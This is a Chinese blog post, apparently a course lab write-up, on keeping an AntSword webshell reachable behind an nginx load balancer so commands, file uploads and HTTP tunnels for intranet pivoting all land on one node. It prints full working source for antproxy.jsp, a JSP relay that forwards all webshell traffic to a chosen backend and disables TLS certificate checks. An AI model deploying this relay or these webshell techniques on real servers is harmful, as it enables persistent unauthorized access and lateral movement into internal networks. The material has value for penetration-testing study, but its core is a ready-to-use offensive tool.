负载均衡下的webshell连接

文章讲述了在负载均衡环境下使用webshell遇到的问题,如连接不稳定、文件上传和HTTP隧道问题。通过关闭多余服务器、设置shell判断执行、以及在Web层进行流量转发,作者解决了这些问题并提供了详细的代码示例。
摘要由CSDN通过智能技术生成

环境搭建与webshell连接

1.nginx配置

实验使用centos,docker提前安装好,再使用docker搭建环境,使用课堂上提供的环境,直接解压到/root目录下;

在这里插入图片描述
接着直接docker-compose up -d,安装下载后是如下三个节点;
在这里插入图片描述
浏览器ip+端口查看,成功实现反向代理到—APache Tomacat上
在这里插入图片描述

2.使用蚁剑

2.1、测试连接

添加我们的shell,测试连接;
在这里插入图片描述
因为两台节点都在相同的位置存在 ant.jsp,所以连接的时候也没出现什么异常。

2.2、出现的问题

这时就出现一些问题;

1.我们将其中一台取消上传webshell,于是便出现了测试连接成功与失败交替,一旦有一台机器上没有,那么在请求轮到这台机器上的时候,就会出现 404 错误;

在这里插入图片描述

2.我们在执行命令时,无法知道下次的请求交给哪台机器去执行,输入hostname可以看到输出在轮换,这是因为使用的是轮询方式,如果换到其他模式,可能会更变幻多端;
在这里插入图片描述
3.在上传文件时,实际环境中常常需要上传一些软件,文件之类的东邪,大小不一,小文件可能传输快,能直接传到服务器上,但是我们不能确定他传到那台服务器上;当文件过大时,问题更加明显,数据上传可能会被分片传输,一半在这个服务器,一半在那个服务器;

删除同理,当你删除指定文件时,服务器可能也已经跳转到另一个上了,导致你删除后刷新文件还在;
在这里插入图片描述

在这里插入图片描述
上面可以明显看到我上传了4张照片,但是却不再一个服务器上;

4.内网渗透时,由于目标机器不能出外网,想进一步深入,只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel,可在这个场景下,这些 tunnel 脚本全部都失灵了。

我们是通过代理服务器进入内网,但是隧道传输数据是一直传输的,就有可能会出现这个传输到一半,就跑到另外一台服务器上去了,连接
就中断,再想连接,又会出现同样的问题,所以不可能通过代理服务器进入内网;

2.3、解决问题

1.直接关闭其中一台服务器;
关闭一台服务器,理论存在,只保留一台机器,然后因为健康检查机制的存在,很快其它的节点就会被 nginx 从池子里踢出去,那么就能继续进行下去,但是;

如果是在真实环境,就有可能会影响业务,造成重大事故,可能给自己找麻烦,所以万万不可取。

2.利用shell在执行前先判断要不要执行
Shell脚本如下:
在这里插入图片描述
上传到蚁剑执行,因为shell脚本设置了限制,可以看到当ip是172.18.0.2的时候才会执行,并且输出ip地址,不是则返回了try again;
在这里插入图片描述
这样一来,确实是能够保证执行的命令是在我们想要的机器上了,就解决了第一个问题,但是也只能在执行命令的时候用用;

因为他对后面的问题还是没起到作用,仍不能解决上传文件、HTTP 隧道 等其他更深层面的问题;

3.在Web 层做一次 HTTP 流量转发

在这里插入图片描述
目的:所有的数据包都能发给「LBSNode 1」这台机器。

请求 /antproxy.jsp,这个请求发给 nginx,在nginx 接到数据包之后,会有两种情况:

1、请求直接传递到了Node1,请求了 Node1 机器上的 /antproxy.jsp,/antproxy.jsp 把请求重组之后,传给了 Node1 机器上的 /ant.jsp,成功执行。

2、请求传递到了Node2,Node2 机器上面的 /antproxy.jsp 把请求重组之后,再传给了 Node1 的 /ant.jsp,成功执行。

这样就解决了所有的问题了;

开始操作:

1、创建脚本antproxy.jsp;
为了避免出现分片传输,所以我们直接在蚁剑/usr/local/webapps/ROOT下新建文件,同时要保证每一台服务器上都有该文件,多新建几次为好;
在这里插入图片描述
再使用提前准备好的代码文件,添加进去,多保存几次!!!确保两个服务器文件中都有内容。

注意更改ip为自己的服务器ip !!!

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
  public static void ignoreSsl() throws Exception {
        HostnameVerifier hv = new HostnameVerifier() {
            public boolean verify(String urlHostName, SSLSession session) {
                return true;
            }
        };
        trustAllHttpsCertificates();
        HttpsURLConnection.setDefaultHostnameVerifier(hv);
    }
    private static void trustAllHttpsCertificates() throws Exception {
        TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
            public X509Certificate[] getAcceptedIssuers() {
                return null;
            }
            @Override
            public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
            @Override
            public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
        } };
        try {
            SSLContext sc = SSLContext.getInstance("TLS");
            sc.init(null, trustAllCerts, new java.security.SecureRandom());
            HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
        } catch (KeyManagementException e) {
            e.printStackTrace();
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        }
    }
%>

<%
        String target = "http://172.18.0.2:8080/ant.jsp";
        URL url = new URL(target);
        if ("https".equalsIgnoreCase(url.getProtocol())) {
            ignoreSsl();
        }
        HttpURLConnection conn = (HttpURLConnection)url.openConnection();
        StringBuilder sb = new StringBuilder();
        conn.setRequestMethod(request.getMethod());
        conn.setConnectTimeout(30000);
        conn.setDoOutput(true);
        conn.setDoInput(true);
        conn.setInstanceFollowRedirects(false);
        conn.connect();
        ByteArrayOutputStream baos=new ByteArrayOutputStream();
        OutputStream out2 = conn.getOutputStream();
        DataInputStream in=new DataInputStream(request.getInputStream());
        byte[] buf = new byte[1024];
        int len = 0;
        while ((len = in.read(buf)) != -1) {
            baos.write(buf, 0, len);
        }
        baos.flush();
        baos.writeTo(out2);
        baos.close();
        InputStream inputStream = conn.getInputStream();
        OutputStream out3=response.getOutputStream();
        int len2 = 0;
        while ((len2 = inputStream.read(buf)) != -1) {
            out3.write(buf, 0, len2);
        }
        out3.flush();
        out3.close();
%>

一直保存,直到两台服务器下的antproxy.jsp大小相等,均为3.22kb;
在这里插入图片描述
修改 Shell 配置, 将 URL 部分填写为 antproxy.jsp 的地址,其它配置不变
在这里插入图片描述
最后测试命令,查看ip;
在这里插入图片描述
可以看到 IP 已经固定为172.18.0.2,着 意味着请求已经固定到了172.18.0.2 这台机器上了,问题也全部解决了。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值